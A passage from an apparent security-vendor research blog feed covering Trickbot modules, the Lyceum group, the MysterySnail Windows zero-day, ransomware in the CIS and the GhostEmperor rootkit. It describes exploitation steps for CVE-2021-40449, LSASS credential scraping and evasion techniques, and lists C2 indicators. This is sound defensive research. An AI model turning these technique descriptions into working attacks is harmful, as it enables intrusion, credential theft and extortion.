This module propagates Trickbot via the EternalRomance exploit. It enables WDigest Authentication by modifying the UseLogonCredential value in the HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest registry key. This modification is forced to save credentials in lsass.exe memory (Local Security Authority Subsystem Service). The tabDll32 module then injects the embedded module screenLocker in explorer.exe and locks the workstation with the lock screen, forcing the user to login again. It waits for next user login and scrapes the credentials from LSASS memory utilizing Mimikatz functionality. Stolen credentials are sent back to the C2. After that tabDll32 downloads the payload from hardcoded URLs – usually the Trickbot loader (downloader) – starts up to 256 threads and uses the EternalRomance exploit to rapidly spread the downloaded payload over the network. Another embedded module, ssExecutor_x86, is used to set up persistence for the downloaded payload on exploited systems. This module also contains the main code of the shareDll32 module, and uses it to spread over the network.

The module ssExecutor_x86 copies the payload into the C:\WINDOWS\SYSTEM32\ and C:\WINDOWS\SYSTEM32\TASKS folders, and executes the payload. It enumerates user profiles in registry, copies the payload to C:\Users\<User Profile>\AppData\Roaming\ and establishes persistence by creating shortcuts in the profile’s Startup folder and creating a ‘Run’ key in the profile’s registry.

The tabDll32 module also exists in the form of a standalone executable with the alias ‘spreader’.


This module gathers basic system information. It uses WQL to get information about the OS name, architecture, version, CPU and RAM information. It also collects user account names on the local computer and gathers information about installed software and services by enumerating HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall’ and ‘HKLM\SYSTEM\CurrentControlSet\Services registry keys.


This module uses an RAS (Remote Access Service) API to establish a VPN (Virtual Private Network) connection. The destination VPN server, and credentials for connection are provided by the C2’s command and configuration files.

Setting the RAS (Remote Access Service) entry.


The vpnDll32 module establishes a VPN connection


This module is used to intercept activity related to banking websites in browsers. It uses web injects to steal financial information. In addition to typical static and dynamic injections, this modification also supports web injects in the Zeus format, and can modify pages on the client side.

Trickbot web inject configuration file in Zeus format


This module propagates Trickbot with the EternalBlue exploit. It enumerates computers using Network Management API and Active Directory Service Interfaces. It uses the EternalBlue exploit to inject shellcode in LSASS process memory. The injected shellcode downloads Trickbot from a hardcoded URL and executes it.

Description of other modules

Module Description adllog32 Debug version of adll32 module bcClientDllNew32 Same as bcClientDll32 bcClientDllTestTest32 Same as bcClientDll32 bexecDll32 Same as aexecDll32 dpwgrab32 Same as tdpwgrab32 pwgrab32 Same as tdpwgrab32 pwgrabb32 Same as tdpwgrab32 sokinjectDll32 Same as injectDll32 tinjectDll32 Same as injectDll32 totinjectDll32 Same as injectDll32 mexecDll32 Same as aexecDll32 networknewDll32 Same as networkDll32 socksDll32 Same as NewBCtestnDll32 oimportDll32 Same as importDll32 onixDll32 Same as aexecDll32 pwgrab32 Same as dpwgrab32 pwgrabb32 Same as dpwgrab32 shadnewDll32 Same as anubisDll32 socksDll32 Same as NewBCtestnDll32 sokinjectDll32 Same as injectDll32 stabDll32 Same as tabDll32 tabtinDll32 Same as tabDll32 testtabDll32 Same as tabDll32 ttabDll32 Previous modification of tabDll32 timportDll32 Same as importDll32 tinjectDll32 Same as injectDll32 tnetworkDll32 Same as networkDll32 totinjectDll32 Same as injectDll32 tpwgrab32 Same as dpwgrab32 trdpscanDll32 Same as rdpscanDll32 tshareDll32 Same as shareDll32 ttabDll32 Same as tabDll32 tvncDll32 Same as bvncDll32 TwoBCtestDll32 Same as bcClientDll32 twormDll32 Same as wormDll32 wormwinDll32 Same as wormDll32 vncDll32 Same as bvncDll32 Geography of Trickbot attacks


We analyzed Trickbot detections that occurred between January 2021 and early October 2021. Most of the affected users were located in the USA (13.21%), Australia (10.25%) and China (9.77%), followed by Mexico (6.61%) and France (6.30%).

Indicators of compromise (Trickbot C2 servers) 185.56.175[.]122 117.222.61[.]115 202.65.119[.]162 185.234.72[.]84 46.99.175[.]217 117.222.57[.]92 202.9.121[.]143 45.155.173[.]242 179.189.229[.]254 136.228.128[.]21 139.255.65[.]170 51.89.115[.]121 181.129.167[.]82 103.47.170[.]130 103.146.232[.]154 194.190.18[.]122 128.201.76[.]252 36.91.186[.]235 36.91.88[.]164 186.4.193[.]75 24.162.214[.]166 103.194.88[.]4 103.47.170[.]131 36.91.117[.]231 45.36.99[.]184 116.206.153[.]212 122.117.90[.]133 36.89.228[.]201 97.83.40[.]67 58.97.72[.]83 103.9.188[.]78 103.75.32[.]173 184.74.99[.]214 139.255.6[.]2 210.2.149[.]202 36.95.23[.]89 62.99.76[.]213 45.115.172[.]105 118.91.190[.]42 103.123.86[.]104

Lyceum group reborn

18 Říjen, 2021 - 13:00

This year, we had the honor to be selected for the thirty-first edition of the Virus Bulletin conference. During the live program, we presented our research into the Lyceum group (also known as Hexane), which was first exposed by Secureworks in 2019. In 2021, we have been able to identify a new cluster of the group’s activity, focused on two entities in Tunisia.

According to older public accounts of the group’s activity, Lyceum conducted targeted operations against organizations in the energy and telecommunications sectors across the Middle East, during which the threat actor used various PowerShell scripts and a .NET-based remote administration tool referred to as “DanBot”. The latter supported communication with a C&C server via custom-designed protocols over DNS or HTTP.

Our investigation into Lyceum has shown that the group has evolved its arsenal over the years and shifted its usage from the previously documented .NET malware to new versions, written in C++. We clustered those new pieces of malware under two different variants, which we dubbed “James” and “Kevin”, after recurring names that appeared in the PDB paths of the underlying samples.

As in the older DanBot instances, both variants supported similar custom C&C protocols tunneled over DNS or HTTP. That said, we also identified an unusual variant that did not contain any mechanism for network communication. We assume that it was used as a means to proxy traffic between two internal network clusters. Our paper elaborates on the C&C protocol mechanics, the timeline of using the variants and the differences between them.

In addition to the revealed implants, our analysis allowed us to get a glance into the actor’s modus operandi. Thus, we observed some of the commands the attackers used within the compromised environments, as well as the actions taken to steal user credentials. These included the use of a PowerShell script designed to steal credentials stored in browsers and a custom keylogger deployed on some of the targeted machines.

Finally, we noticed certain similarities between Lyceum and the infamous DNSpionage group, which, in turn, was associated with the OilRig cluster of activity. Besides similar geographical target choices, and the use of DNS or fake websites to tunnel C&C data as a TTP, we were able to trace significant similarities between lure documents delivered by Lyceum in the past and those used by DNSpionage. These were made evident through a common code structure and choices of variable names.

Our presentation from the conference, detailing some of the aspects described above, can be viewed here:

An even more detailed outline with technical specifics can be found in the paper that accompanied the presentation, now available on the Virus Bulletin website.

MysterySnail attacks with Windows zero-day

12 Říjen, 2021 - 19:07

Executive Summary

In late August and early September 2021, Kaspersky technologies detected attacks with the use of an elevation of privilege exploit on multiple Microsoft Windows servers. The exploit had numerous debug strings from an older, publicly known exploit for vulnerability CVE-2016-3309, but closer analysis revealed that it was a zero-day. We discovered that it was using a previously unknown vulnerability in the Win32k driver and exploitation relies heavily on a technique to leak the base addresses of kernel modules. We promptly reported these findings to Microsoft. The information disclosure portion of the exploit chain was identified as not bypassing a security boundary, and was therefore not fixed. Microsoft assigned CVE-2021-40449 to the use-after-free vulnerability in the Win32k kernel driver and it was patched on October 12, 2021, as a part of the October Patch Tuesday.

Besides finding the zero-day in the wild, we analyzed the malware payload used along with the zero-day exploit, and found that variants of the malware were detected in widespread espionage campaigns against IT companies, military/defense contractors, and diplomatic entities.

We are calling this cluster of activity MysterySnail. Code similarity and re-use of C2 infrastructure we discovered allowed us to connect these attacks with the actor known as IronHusky and Chinese-speaking APT activity dating back to 2012.

Elevation of privilege exploit

The discovered exploit is written to support the following Windows products:

  • Microsoft Windows Vista
  • Microsoft Windows 7
  • Microsoft Windows 8
  • Microsoft Windows 8.1
  • Microsoft Windows Server 2008
  • Microsoft Windows Server 2008 R2
  • Microsoft Windows Server 2012
  • Microsoft Windows Server 2012 R2
  • Microsoft Windows 10 (build 14393)
  • Microsoft Windows Server 2016 (build 14393)
  • Microsoft Windows 10 (build 17763)
  • Microsoft Windows Server 2019 (build 17763)

The list of supported products and supported Windows 10 build numbers, explicit declaration of server OSs and the fact that exploits were only discovered in attacks on servers, all lead us to believe the exploit was developed and advertised as a solution to elevate privileges on servers.

CVE-2021-40449 is a use-after-free vulnerability in Win32k’s NtGdiResetDC function. As with many other Win32k vulnerabilities, the root cause of this vulnerability lies in the ability to set user-mode callbacks and execute unexpected API functions during execution of those callbacks. The CVE-2021-40449 is triggered when the function ResetDC is executed a second time for the same handle during execution of its own callback. The exploitation process for this vulnerability is as follows:

  1. A user-mode call to ResetDC executes syscall NtGdiResetDC and its inner function GreResetDCInternal. This function gets a pointer to a PDC object, and then performs a call to function hdcOpenDCW.
  2. Function hdcOpenDCW performs a user-mode callback and it can be used to execute ResetDC for the same handle a second time.
  3. If an exploit executes ResetDC during a callback, NtGdiResetDC and GreResetDCInternal are executed again for the same DC.
  4. If an exploit ignores all the callbacks during the second call to GreResetDCInternal, this function will be executed as intended. It will create a new DC and get rid of the old one (the PDC object is destroyed).
  5. In the callback, after the second ResetDC call has completed, the exploit can reclaim the freed memory of the PDC object and finish the execution of the callback.
  6. After execution of the callback, function hdcOpenDCW returns to GreResetDCInternal, but the pointer retrieved in step (1) is now a dangling pointer – it points to the memory of the previously destroyed PDC object.
  7. In the late stage of GreResetDCInternal execution, a malformed PDC object can be used to perform a call to an arbitrary kernel function with controlled parameters.

In the discovered exploit attackers are able to achieve the desired state of memory with the use of GDI palette objects and use a single call to a kernel function to build a primitive for reading and writing kernel memory. This step is easily accomplished, because the exploit process is running with Medium IL and therefore it’s possible to use publicly known techniques to leak kernel addresses of currently loaded drivers/kernel modules. In our opinion, it would be preferable if the Medium IL processes had limited access to such functions as NtQuerySystemInformation or EnumDeviceDrivers.

MysterySnail RAT

Our deep dive into the MysterySnail RAT family started with an analysis of a previously unknown remote shell-type Trojan that was intended to be executed by an elevation of privilege exploit. The sample which we analyzed was also uploaded to VT on August 10, 2021. The sample is very big – 8.29MB. One of the reasons for the file size is that it’s statically compiled with the OpenSSL library and contains unused code and data belonging to that library. But the main reason for its size is the presence of two very large functions that do nothing but waste processor clock cycles. These functions also “use” randomly generated strings that are also present in a binary.

Random strings used by anti-analysis functions

We assume these two functions are used as an AV-evasion technique for the purpose of anti-emulation. This theory is supported by the presence of other redundant logics and the presence of a relatively large number of exported functions while the real work is performed by only one of them.

Names of exported functions; the actual business logic is executed from function “GetInfo”

The sample has two hardcoded URLs present in plain text – “www[.]disktest[.]com” and “www[.]runblerx[.]com”. They are put into class variables for intended use, but remain unused; the real C2 address is decoded by a single byte xor – “http[.]ddspadus[.]com”.

The malware enumerates the values under the “Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer” registry key and uses them to request tunneling through a proxy server in case it fails to connect to the C2 directly.

The malware itself is not very sophisticated and has functionality similar to many other remote shells. But it still somehow stands out, with a relatively large number of implemented commands and extra capabilities like monitoring for inserted disk drives and the ability to act as a proxy.

Inbound and outbound commands have the same binary-based format that is provided below. All communication is encrypted with SSL.

Offset Description 0 Size of additional data 4 Session ID 8 Command ID 0xC Additional data

Format of communication commands

Before receiving any commands, the malware gathers and sends general information about the victim machine. This information includes:

  • Computer name
  • Current OEM code-page/default identifier
  • Windows product name
  • Local IP address
  • Logged-in user name
  • Campaign name

One interesting fact is that “Campaign name” by default is set to “windows”. This name gets overwritten, but it might indicate there are versions of the same RAT compiled for other platforms.

In total, the RAT implements 20 commands. Their description and command IDs are provided in the table below.

Command ID Description 1F4h Launch interactive cmd.exe shell. Before launch cmd.exe is copied to the temp folder with a different name 1F5h Spawn new process 1F6h Spawn new process (console) 1F7h Get existing disk drives and their type. This function also works in the background, checking for new drives 1F8h Create (upload) new file. If a file exists, append data to it 1FAh Get directory list 1FBh Kill arbitrary process 1FFh Delete file 202h Read file. If the file is too big, async read operation can be stopped with cmd 20Ch. 205h Re-connect 208h Set sleep time (in ms) 209h Shutdown network and exit 20Ah Exit 20Bh Kill interactive shell (created with cmd 1F4h) 20Ch Terminate file reading operation (started with cmd 202h) 217h No operation 21Bh Open proxy’ed connection to provided host. Up to 50 simultaneous connections are supported. 21Ch Send data to proxy’ed connection 21Eh Close all proxy connections 21Fh Close requested proxy connection

List of commands supported by the RAT

The analysis of the MysterySnail RAT helped us discover campaigns using other variants of the analyzed malware as well as study and document the code changes made to this tool over a six-month period. We provide more info about these variants and campaigns in our private report.

With the help of Kaspersky Threat Attribution Engine (KTAE) and the discovery of early variants of MysterySnail RAT we were able to find direct code and functionality overlap with the malware attributed to the IronHusky actor. We were also able to discover the re-use of C2 addresses used in attacks by the Chinese-speaking APT as far back as 2012. This discovery links IronHusky to some of the older known activities.

Kaspersky products detect the CVE-2021-40449 exploit and related malware with the verdicts:

  • PDM:Exploit.Win32.Generic
  • PDM:Trojan.Win32.Generic
  • Trojan.Win64.Agent*

Kaspersky products detected these attacks with the help of the Behavioral Detection Engine and the Exploit Prevention component. CVE-2021-40449 is the latest addition to the long list of zero-days discovered in the wild with the help of our technologies. We will continue to improve defenses for our users by enhancing technologies and working with third-party vendors to patch vulnerabilities, making the internet more secure for everyone.

More information about these attacks and the actor behind them is available to customers of the Kaspersky Intelligence Reporting service. Contact: intelreports@kaspersky.com.

Kaspersky would like to thank Microsoft for their prompt analysis of the report and patches.



MD5 e2f2d2832da0facbd716d6ad298073ca
SHA1 ecdec44d3ce31532d9831b139ea04bf48cde9090
SHA256 b7fb3623e31fb36fc3d3a4d99829e42910cad4da4fa7429a2d99a838e004366e

SAS 2021: Learning to ChaCha with APT41

12 Říjen, 2021 - 18:00

Straight from the sunny UK to the stage of SAS-at-Home 2021, John Southworth (PwC) will be giving some insights about the threat actor APT41, also known as Red Kelpie and Winnti. Starting with APT10 (Red Apollo), the presentation will dance you through the malware used by APT41 – the Motnug loader and its descendant, the ChaCha loader, to some thoughts on the actor’s attribution and the payload, including the infamous CobaltStrike.

Indicators of compromise, YARA rules, and Python scripts for the Kaspersky TheSAS2021 talk “Learning to ChaCha with APT41“: https://github.com/PwCUK-CTO/TheSAS2021-Red-Kelpie

SAS 2021: Fireside chat with Chris Bing

12 Říjen, 2021 - 15:00

How to build up a fascinating story from a hardcore APT report? Where to find details and how to work with information sources? Sitting by the virtual fireside, Brian Bartholomew (Kaspersky GReAT) and Christopher Bing (Reuters) will discuss how malware researchers and investigative journalists can help each other in their work.

SAS 2021: Operation Software Concepts

12 Říjen, 2021 - 11:00

During the ‘Operation Software Concepts: A Beautiful Envelope for Wrapping Weapon‘ talk on SAS-at-Home 2021, Rintaro Koike, Shogo Hayashi and Ryuichi Tanabe from NTT Security (Japan) will cover a new APT campaign named Operation Software Concepts. They will share details about this multi-stage attack campaign targeting Russian and Mongolian governments and defense sector with droppers, RAT and other malware. The researches will also show some connections between the campaign and various APT groups, such as APT31, Tonto and Mofang.

Ransomware in the CIS

7 Říjen, 2021 - 12:00


These days, when speaking of cyberthreats, most people have in mind ransomware, specifically cryptomalware. In 2020–2021, with the outbreak of the pandemic and the emergence of several major cybercriminal groups (Maze, REvil, Conti, DarkSide, Avaddon), an entire criminal ecosystem took shape, leading to a mounting worldwide wave of attacks on large organizations with pockets deep enough to pay a ransom in the hundreds of thousands, even millions, of US dollars.

This year, after a series of high-profile ransomware incidents, such as the attacks on Colonial Pipeline (the operator of the largest fuel pipeline in the US), JBS and Kaseya, and the heightened scrutiny from the US and other authorities that followed, the ransomware market has undergone some major changes: some groups have shut up shop, others have rebranded.

Most of the groups you might read about in the news today tend to operate outside the Commonwealth of Independent States (CIS). That said, companies in this region still cannot relax, since they are the target of dozens of lesser-known groups.

This roundup spotlights the ransomware Trojan families that most actively attacked businesses in the CIS in H1 2021, and their technical characteristics.


Number of business users in the CIS who encountered ransomware, January–July 2021 (download)

Unique business users whose devices were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country, January–July 2021 (download)

Ransomware families at a glance BigBobRoss/TheDMR

This ransomware became active at the back end of 2018 and remains current. According to our data, its main vector of distribution is cracking RDP passwords.

When launched, BigBobRoss shows the operator technical information, including the key for subsequent file decryption. The malware also sends a message with this information via Telegram.

Technical file created by BigBobRoss

After encryption, the contents of the folders look as follows: the cybercriminals’ e-mail address and the victim’s ID are added to the beginning of each file, followed by the original name and extension, and then the extension added by the ransomware.

Encrypted files and a note from the attackers

Additionally, a note with the attackers’ details is added to each folder.

Note left by the ransomware

For encryption, the program uses the AES symmetric algorithm with a 128-bit key in ECB mode (simple substitution mode) from the CryptoPP cryptographic library.

The PDB retains information about the name of the project. The developer may be Russian-speaking, but it is impossible to say for sure, since the name could just be an attempt to muddy the waters.

PDB info of the executable file


Crysis is an old piece of cryptomalware known since 2016. It is known to be deactivated and then revived. Currently, it is still active. The Trojan’s code has remained unchanged for several years, and today it is distributed through a Ransomware-as-a-Service (RaaS) affiliate program.

Crysis is written in C/C ++ and compiled in MS Visual Studio. The malware encrypts files using the AES-256 algorithm in CBC mode. Upon launch, the Trojan generates a 256-bit AES key that is encrypted using the RSA-1024 algorithm, with the attacker’s public key contained in the Trojan’s body.

Each file is encrypted using the aforementioned AES key, as well as the freshly generated 128-bit initialization vector (IV). Besides the encrypted content, the encrypted file stores the IV, the RSA-encrypted AES key, and auxiliary information, including the attacker’s label (a string value), the SHA1 hash of the used RSA public key, the original file name, the encryption type (the part of the file to be encrypted is chosen differently for small and large files) and the checksum.

Crysis ransom note

The typical Crysis attack vector is unauthorized RDP access. The attacker cracks the credentials (through a dictionary/brute-force attack or ready lists bought from other cybercriminals), connects remotely to the victim’s computer, and runs the Trojan manually.


This ransomware has been around since 2017. At the conceptual level (code structure, approaches used by the developers), Phobos is similar to Crysis in many ways. This suggests that either the Trojans share the same developer, or the authors of Phobos are familiar with how Crysis works. However, we found no direct borrowing of code; in other words, these are different families of Trojans assembled from different sources.

Like most modern ransomware, Phobos is distributed through a RaaS affiliate program. The main vector of infection is unauthorized RDP access.

Phobos is written in C/C++ and compiled in MS Visual Studio. It uses the AES-256-CBC algorithm to encrypt the victim’s files, while the AES key is encrypted using the RSA-1024 public key contained in the body of the malware.

Phobos ransom note


Cryakl is probably the oldest ransomware featured in this post. The first version was detected back in April 2014. However, it seems that in modern versions of this Trojan, not a single line of code is left over from that time. Cryakl has been rewritten many times, and changes are introduced with each new version, often significant ones.

It is distributed through an affiliate program. Currently, its most common attack vector is via RDP. For the attacker’s convenience, the Trojan supports a graphical interface. The operator configures the necessary settings manually in the program window.

Cryakl settings window

Cryakl is written in Delphi. The modern version of Cryakl uses a custom symmetric cipher to encrypt the victim’s files, and the RSA algorithm to encrypt the key.

An interesting feature of the current versions of Cryakl, not seen in other ransomware, is advanced processing of archive file formats.

Archives can be large, and encrypting them in their entirety takes a long time. And if only an arbitrary piece of a file is encrypted, it is possible to recover some of the content without decryption.

Cryakl features specialized procedures for handling the ZIP, 7z, TAR, CAB and RAR (old versions and RAR5) formats. It parses each of these formats and encrypts only the critical parts of the archive, delivering high performance and preventing data recovery without decryption.

Part of the procedure for analyzing the ZIP format

Cryakl ransom note


CryptConsole was first spotted in January 2017 and is still encountered today. It is written in C# and uses .NET libraries for encryption. The main vector of distribution is cracking RDP passwords.

CryptConsole note

For encryption, two key and IV pairs are generated. These are written to a text file, along with a size parameter that reflects how much of the user’s file is to be encrypted, and placed on the desktop. The name of this text file is a 40-character string that matches the user’s unique identifier (Personal ID in the note). It is assumed that the malware operator, having gained access via RDP, runs the ransomware and saves this file for themselves, then deletes it from the victim’s device. It may prove possible to recover the file, but there is no guarantee. Interestingly, the size of the encrypted part of the file (the size parameter) is a random value in the range [5485760, 10485760].

File with keys left by the ransomware

The encryption scheme is also curious. As mentioned above, the ransomware generates two random pairs: key+IV and key2+IV2. The file size is then compared to the previously generated random size value. If the file is greater than size, only the part of the file that is less than or equal to this value is encrypted, before which a buffer with size bytes of random data is written to the file.

Generating the key/IV pairs, ID, and size

Encryption is performed using the symmetric AES algorithm. First, a size bytes chunk of the file is encrypted using key and IV, then the encrypted buffer is reversed and encrypted again, this time using key2 and IV2. This is how the dual encryption scheme works.

Dual encryption scheme for small files

Large files, as mentioned before, are first filled with size bytes of arbitrary data. Only after that is the encrypted data appended.

Dual encryption scheme with arbitrary data writing


Fonix ransomware appeared in the summer of 2020. In January 2021, its creators announced the closure of the project and even published the master key, which we used to build a decryptor for victims of this Trojan.

However, that was not the end of the Fonix story. A few months later (in June 2021), we detected attacks by a new version of Fonix, which doesn’t use the old master key.

This version of Fonix mimics the Crysis and Phobos Trojans, using the same extensions and naming scheme for encrypted files.

If the files affected by earlier versions of Fonix had names like picture.jpg.Email=[actor@mail.tld]ID=[B49D8EF5].XINOF, now they are indistinguishable from the names of the files encrypted by Crysis (picture.jpg.id-523E8573.[actor@mail.tld].harma) or Phobos (picture.jpg.ID-70AB2875.[actor@mail.tld].eking).

The path to the project’s PDB file, preserved in the Trojan sample, likewise speaks of deliberate masking: the line “DharmaVersion” points unambiguously to the Dharma family (an alternative name for the Crysis ransomware).

PDB path

Fonix is written in C++ using the CryptoPP library and compiled into a 64-bit executable file in MS Visual Studio. It is distributed using the RaaS scheme, with the main method of delivery to the victim’s system being via spam with a malicious attachment.

After each infection, the ransomware sends a notification to its operator via Telegram, which, incidentally, is nothing new and was first seen several years ago.

Sending a notification in Telegram

Upon infecting the host, Fonix also checks the victim’s geolocation by IP and, if launched in Iran, ceases its activity without encryption.

Country check in Fonix

To encrypt user files, it uses the ChaCha or Salsa algorithms (depending on the file size). The ChaCha/Salsa keys are encrypted by RSA with a session public key generated when the Trojan is launched. The session private key is encrypted by RSA using the public master key contained in the body of the malware.

Early versions of Fonix had their own design of ransom notes.

Fonix ransom note (early version)

In modern samples, meanwhile, we see the look of some versions of Crysis’ and Phobos’ ransom notes being copied.

Fonix ransom note (modern version)


This ransomware appeared in mid-2019. Some versions of it are also known as Limbo, Legion, Odveta and Ouroboros. Limbozar is distributed through an affiliate program (RaaS). Currently, the main vector of distribution is unauthorized RDP access. Limbozar is written in C++, compiled in MS Visual Studio and uses the CryptoPP library to implement cryptographic functions.

The cryptographic scheme has changed several times throughout the family’s history. When launched, modern versions of Limbozar generate an RSA-2048 session key pair, followed by a 256-bit key and a 96-bit initialization vector for the AES algorithm in GCM mode. The private RSA session key is encrypted with the AES algorithm and saved locally. Next, the key+IV pair for AES is encrypted with one of the several public RSA master keys contained in the Trojan’s body, and is also saved to the local drive.

After this preparatory phase, Limbozar searches for the victim’s files and encrypts them with the AES-GCM algorithm, generating for each file a unique key+IV pair, which, in turn, it encrypts with the RSA session public key.

After encryption, the malware leaves the cybercriminals’ demands in the Decrypt-info.txt files.

Limbozar ransom note

Upon full encryption, Limbozar also sends a notification about the new victim to its C&C server using a POST request. To implement network communication, the SFML library (libsfml-network) is used.

Notification about a new Limbozar infection


Thanos became active in late April 2020, although information about it first appeared in January when it was presented as RaaS on a hacker forum. The ransomware is written in C#. According to our information, its main vector of distribution is cracking RDP passwords.

Desktop wallpaper of an infected machine displaying a ransom note

Since the distribution model is RaaS, the ransomware is distributed through a builder, enabling the customization of the Trojan itself and a decryptor for it.

There are many different settings in the builder: both basic (extension of encrypted files, name and content of ransom note, payment address) and more advanced (code obfuscation, self-delete, disabling Windows Defender, bypassing the Antimalware Scan Interface (AMSI), unlocking files occupied by other processes, protecting the ransomware process, preventing sleep, execution delay, fast encryption mode for large files, setting extensions of the files to be encrypted, selecting a victim notification method). The leaked constructor can be found online. Most likely, it was uploaded by the operator who bought it. For protection, it features a built-in HWID check, suggesting it was assembled for the specific device of the operator.

The decryptor can decrypt files using the user ID, which is an RSA-encrypted key for a symmetric encryption algorithm (different versions have different symmetric algorithms).

Decryptor for Thanos

The ransomware can employ a range of encryption schemes. In various samples of the ransomware, we came across the following:

  • One key for all files; Salsa20 encryption
  • Different keys for all files; Salsa20 encryption
  • One key for all files passed through PBKDF2 function; AES-256 CBC encryption
  • One key for all files passed through PBKDF2 function (1000 iterations for small files and 50,000 iterations for large (>15 MB) files), then AES-256 CBC encryption

An illustration of one of the encryption schemes (static key + PBKDF2 + AES-256 CBC) and the code obfuscation method are given below. The obfuscation is rather weak, which makes it possible to recover the original code.

One of the blocks of code used for encryption

The ransom note does not differ much. As usual, the purpose is to leave contact details and intimidate the user.

Thanos ransom note

Thanos implements a rather flexible attack scheme, allowing the operator to independently select the ransomware’s features and generate it to suit their specific needs.


XMRLocker was first noticed in early August 2020. It is written in C# and uses .NET libraries for encryption.

Encryption is performed using a generated password of random length of 65–101 characters. A fixed alphabet, which includes English upper- and lower-case letters plus some special characters, is used to generate the password.

Password generation in XMRLocker

Encryption uses the AES algorithm with a key length of 256 bits in CFB mode and with PKCS7 padding. The pre-generated password is passed through the PBKDF2 function with 50,000 iterations, and the result is converted to a key and IV for further encryption. PBKDF2 uses a 32-byte random salt, which gets written to the beginning of each file. A single key is generated for all files. It is saved in a text file named HWID, which is sent to the C&C server hosted on Tor network and then deleted.

Encryption function

After encryption, the machine is shut down. Upon next startup, the user is greeted with a mocking description of what has happened and the cybercriminals’ details.

Message after startup

The ransomware note, as usual, contains contact details and an ID. The only surprising element is the words “files encrypted with Base-64 algorithm,” since this is not an encryption algorithm and is not used at all by this ransomware.

Note left by the ransomware


Both well-known and relatively new business-oriented ransomware is present in the CIS. Many of these threats are actively developing, and some, since being discovered, have been shut down only to reappear on the market. Cybercriminals use various encryption techniques, some of them quite curious, such as dual encryption in CryptConsole and archive processing in Cryakl.

Although there are different vectors of malware distribution, most of the current crop of ransomware threats targeting businesses in the CIS penetrate the victim’s network via RDP. To counter this, it is important to create strong passwords for domain accounts and change them regularly. It is also advised to block RDP access from the internet and use a VPN to connect to the corporate network instead.











GhostEmperor: From ProxyLogon to kernel mode

30 Září, 2021 - 12:00

 Download GhostEmperor’s technical details (PDF)

While investigating a recent rise of attacks against Exchange servers, we noticed a recurring cluster of activity that appeared in several distinct compromised networks. This cluster stood out for its usage of a formerly unknown Windows kernel mode rootkit that we dubbed Demodex, and a sophisticated multi-stage malware framework aimed at providing remote control over the attacked servers.

The former is used to hide the user mode malware’s artefacts from investigators and security solutions, while demonstrating an interesting undocumented loading scheme involving the kernel mode component of an open-source project named Cheat Engine to bypass the Windows Driver Signature Enforcement mechanism.

In an attempt to trace the duration of the observed attacks, we were able to see the toolset in question being used from as early as July 2020. Furthermore, we could see that the actor was mostly focused on South East Asian targets, with outliers in Egypt, Afghanistan and Ethiopia which included several governmental entities and telecommunication companies.

With a long-standing operation, high profile victims, advanced toolset and no affinity to a known threat actor, we decided to dub the underlying cluster GhostEmperor. Our investigation into this activity leads us to believe that the underlying actor is highly skilled and accomplished in their craft, both of which are evident through the use of a broad set of unusual and sophisticated anti-forensic and anti-analysis techniques.

How were the victims initially infected?

We identified multiple attack vectors that triggered an infection chain leading to the execution of malware in memory. We noticed that the majority of the GhostEmperor infections were deployed on public facing servers, as many of the malicious artefacts were installed by the ‘httpd.exe’ Apache server process, the ‘w3wp.exe’ IIS Windows server process, or the ‘oc4j.jar’ Oracle server process. This means that the attackers likely abused vulnerabilities in the web applications running on those systems, allowing them to drop and execute their files.

It is worth mentioning that one of the GhostEmperor infections affected an Exchange server, and took place on March 4, 2021. This was only two days after the patch for the ProxyLogon vulnerability was released by Microsoft, and it is possible that the attackers exploited this vulnerability in order to allow them to achieve remote code execution on vulnerable Exchange servers.

Although GhostEmperor’s infections often start with a BAT file, in some cases the known infection chain was preceded by an earlier stage: a malicious DLL that was side-loaded by wdichost.exe, a legitimate command line utility by Microsoft originally called MpCmdRun.exe. The side-loaded DLL then proceeds to decode and load an additional executable called license.rtf. Unfortunately, we did not manage to retrieve this executable, but we saw that the consecutive actions of loading it included the creation and execution of GhostEmperor scripts by wdichost.exe.

Example of a GhostEmperor infection chain started by a side-loaded DLL

Lastly, some of the Demodex deployments were performed remotely from another system in the network using legitimate tools such as WMI or PsExec, suggesting that the attackers have infected parts of the victims’ networks beforehand.

Infection chain overview

The infection can be divided into several stages that operate in succession to activate an in-memory implant and allow it to deploy additional payloads during run time. This section provides a brief overview of these stages, including a description of the final payloads. The internals of these payloads can be found in a technical document that accompanies this publication.

The flow of infection starts with a PowerShell dropper. The purpose of this component is to stage the subsequent element in the chain by installing it as a service. Before doing so, it creates a couple of registry keys that it assigns encrypted data to, one of which corresponds to a payload that will be deployed in the later stages. It’s worth noting that the script itself is delivered in a packed form, whereby its complete execution is dependent on a command-line argument that is used as a key to decrypt the bulk of its logic and data. Without this key, it’s impossible to recover the flow that comes after this stage.

Initial stage comprised of encrypted PowerShell code that is decrypted based on an attacker-provided AES key during run time

The next stage, which is executed as a service by the former, is intended to serve as yet another precursor for the next phases. It is used to read the encrypted data from the previously written registry keys and decrypt it to initiate the execution of an in-memory implant. We identified two variants of this component, one developed in C++ and another in .NET. The latter, which appeared in the wild as early as March 2021, uses the GUID of the infected machine to derive the decryption key, and is thus tailored to be executed on that specific system. The C++ variant, on the other hand, relies on hardcoded AES 256 encryption keys.

The third stage is the core implant that operates in memory after being deployed by the aforementioned loader, and is injected into the address space of a newly created svchost.exe process. Its main goal is to facilitate a communication channel with a C2 server, whereby malicious traffic is masqueraded under the guise of communication with a benign service, based on a Malleable C2 profile embedded within its configuration. It is important to note that the implementation of the Malleable C2 feature, which is originally provided in the Cobalt Strike framework, is customized and most likely rewritten based on reverse engineering of Cobalt Strike’s code.

Another interesting technique used to conceal the malicious traffic is the malware’s usage of fake file format headers to encapsulate the data passed to the C&C server. To do so, the in-memory implant synthesizes a fake media file of one of the formats RIFF, JPEG or PNG and puts any data conveyed to the server in encrypted form as its body. Thus, the transmitted packet appears as either an image or audio file and blends with other legitimate traffic in the network.

Malleable C2 profile and fake header

The last stage is the payload injected to the winlogon.exe process by the aforementioned implant and used to provide remote control capabilities to the attackers. Such capabilities include initiation of a remote console or desktop session, with the latter supporting execution of sent mouse clicks and keystrokes on the target machine and retrieval of periodic screenshots that reflect the output of those actions. This stage can also allow the attackers to load arbitrary .NET assemblies or execute PowerShell commands, as well as fully control the victim’s filesystem in order to search, retrieve or push files to it.

